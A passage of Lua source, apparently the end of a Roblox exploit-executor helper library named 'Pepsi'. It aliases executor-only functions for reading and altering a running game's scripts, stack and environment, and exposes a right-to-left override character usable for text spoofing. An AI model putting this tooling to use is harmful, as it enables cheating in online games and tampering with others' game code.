3963 gc = debug.getconstants or getconstants or rawget(shared.dbg, "gc") or warn("shared.dbg.gc needs to be set to 'getconstants' function!"),
3964 gr = debug.getregistry or getreg or getregistry or rawget(shared.dbg, "gr") or warn("shared.dbg.gr needs to be set to 'getregistry' function!"),
3965 gcs = getcallingscript or rawget(shared.dbg, "gcs") or warn("shared.dbg.gcs needs to be set to 'getcallingscript' function!"),
3966 glm = getloadedmodules or rawget(shared.dbg, "glm") or warn("shared.dbg.glm needs to be set to 'getloadedmodules' function!"),
3967 gni = getnilinstances or rawget(shared.dbg, "gni") or warn("shared.dbg.gni needs to be set to 'getnilinstances' function!"),
3968 ggc = getgc or rawget(shared.dbg, "ggc") or warn("shared.dbg.ggc needs to be set to 'getgc' function!"),
3969 gi = getinstances or rawget(shared.dbg, "gi") or warn("shared.dbg.gi needs to be set to 'getinstances' function!"),
3970 gge = getgenv or rawget(shared.dbg, "gge") or warn("shared.dbg.gge needs to be set to 'getgenv' function!"),
3971 gncm = getnamecallmethod or rawget(shared.dbg, "gncm") or warn("shared.dbg.gncm needs to be set to 'getnamecallmethod' function!"),
3972 sncm = setnamecallmethod or rawget(shared.dbg, "sncm") or warn("shared.dbg.sncm needs to be set to 'setnamecallmethod' function!"),
3973 gse = getsenv or rawget(shared.dbg, "gse") or warn("shared.dbg.gse needs to be set to 'getsenv' function!"),
3974 ss = debug.setstack or setstack or rawget(shared.dbg, "ss") or warn("shared.dbg.ss needs to be set to 'setstack' function!"),
3975 gre = getrenv or rawget(shared.dbg, "gre") or warn("shared.dbg.gre needs to be set to 'getrenv' function!"),
3976 gs = getscripts or rawget(shared.dbg, "gs") or warn("shared.dbg.gs needs to be set to 'getscripts' function!")
3977 }, {__index = debug})
3978 delay(3, function() -- Eh... Fucket
3979 getgenv().Color3, getgenv().Instance, getgenv().math, getgenv().string, getgenv().table, getgenv().Vector3, getgenv().Pepsi, getgenv().Region3, getgenv().CFrame, getgenv().Ray = Color3, Instance, math, string, table, Vector3, Pepsi, Region3, CFrame, Ray
3980 end)
3981end
3982if true or not auto_exec then -- Super secret stuff. Nah, jk... Just a setting to prevent the script from a pre-mature EoF.
3983 return (function(...) -- Fuck "module can only return 1 result".
3984 return setmetatable({}, {__index = Color3}), setmetatable({}, {__index = Instance}), setmetatable({}, {__index = math}), setmetatable({rtl = utf8.char(8238)}, {__index = string}), setmetatable({}, {__index = table}), setmetatable({}, {__index = Vector3}), Pepsi, setmetatable({}, {__index = Region3}), setmetatable({}, {__index = CFrame}), setmetatable({}, {__index = Ray}--[[, setmetatable({}, {__index = Drawing}]])
3985 end)
3986end
3987return Pepsi.DummyFunc -- Comes in handy lol